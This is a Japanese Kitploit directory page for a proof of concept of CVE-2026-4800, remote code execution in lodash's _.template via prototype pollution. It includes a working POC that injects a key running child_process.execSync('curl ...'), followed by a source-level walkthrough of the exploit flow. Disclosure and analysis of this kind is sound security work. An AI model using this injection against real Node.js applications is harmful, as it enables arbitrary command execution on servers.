Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-4800-POC — プロトタイプ汚染を介したlodashテンプレートでのリモートコード実行を実証する概念実証であり、攻撃フローと悪用手法の詳細な分析を含む。 | Kitploit
ツール/GitHubGitHub/threalwinky/cve-2026-4800-poc
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペイロード開発
GitHubthrealwinky/cve-2026-4800-poc

CVE-2026-4800-POC

プロトタイプ汚染を介したlodashテンプレートでのリモートコード実行を実証する概念実証であり、攻撃フローと悪用手法の詳細な分析を含む。

リポジトリを見る
24ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-4800-POC

セキュリティアドバイザリ

https://github.com/lodash/lodash/security/advisories/GHSA-r5fr-rjxr-66jc

POC

root@kitploit:~
const _ = require('lodash');
Object.prototype.imports = {'x=process.getBuiltinModule("child_process").execSync("curl https://example.com")':undefined}
_.template('', {});

alt text

フロー

  • 事前のプロトタイプ汚染の脆弱性を利用して、攻撃者が制御するプロパティで Object.prototype.imports を汚染する

  • 次に、通常のプレーンオブジェクトの options 値で _.template('', {}) を呼び出す

  • _.template() 内で、lodash は にて で をコピーする

lodash.js:14877
assignInWith({}, options, settings, ...)
options
root@kitploit:~
function template(string, options, guard) {
      // Based on John Resig's `tmpl` implementation
      // (http://ejohn.org/blog/javascript-micro-templating/)
      // and Laura Doktorova's doT.js (https://github.com/olado/doT).
      var settings = lodash.templateSettings;

      if (guard && isIterateeCall(string, options, guard)) {
        options = undefined;
      }
      string = toString(string);
      options = assignInWith({}, options, settings, customDefaultsAssignIn);


...
  • assignInWith は lodash.js:12778 にて keysIn(source) を使用する
root@kitploit:~
    var assignInWith = createAssigner(function(object, source, srcIndex, customizer) {
      copyObject(source, keysIn(source), object, customizer);
    });

  • keysIn() は lodash.js:13440 にて継承された列挙可能なプロパティを含む
root@kitploit:~
    function keysIn(object) {
      return isArrayLike(object) ? arrayLikeKeys(object, true) : baseKeysIn(object);
    }

  • options オブジェクトは通常の {} であるため、Object.prototype から汚染された imports プロパティを継承し、lodash はその継承された値をローカルの options.imports にコピーする

  • その後 lodash は lodash.js:14889 にて assignInWith({}, options.imports, settings.imports, ...) で imports を構築し、lodash.js:14889 で importsKeys を抽出し、lodash.js:14957 で Function(importsKeys, ...) に渡す

root@kitploit:~
...

      // Cleanup code by stripping empty strings.
      source = (isEvaluating ? source.replace(reEmptyStringLeading, '') : source)
        .replace(reEmptyStringMiddle, '$1')
        .replace(reEmptyStringTrailing, '$1;');

      // Frame code as the function body.
      source = 'function(' + (variable || 'obj') + ') {\n' +
        (variable
          ? ''
          : 'obj || (obj = {});\n'
        ) +
        "var __t, __p = ''" +
        (isEscaping
           ? ', __e = _.escape'
           : ''
        ) +
        (isEvaluating
          ? ', __j = Array.prototype.join;\n' +
            "function print() { __p += __j.call(arguments, '') }\n"
          : ';\n'
        ) +
        source +
        'return __p\n}';

      var result = attempt(function() {
        return Function(importsKeys, sourceURL + 'return ' + source)
          .apply(undefined, importsValues);
      });

...
  • 私が汚染したキーは、デフォルト式を持つ仮引数として扱われる:

    root@kitploit:~
    x=process.getBuiltinModule("child_process").execSync("curl https://example.com")
    
ツールをダウンロード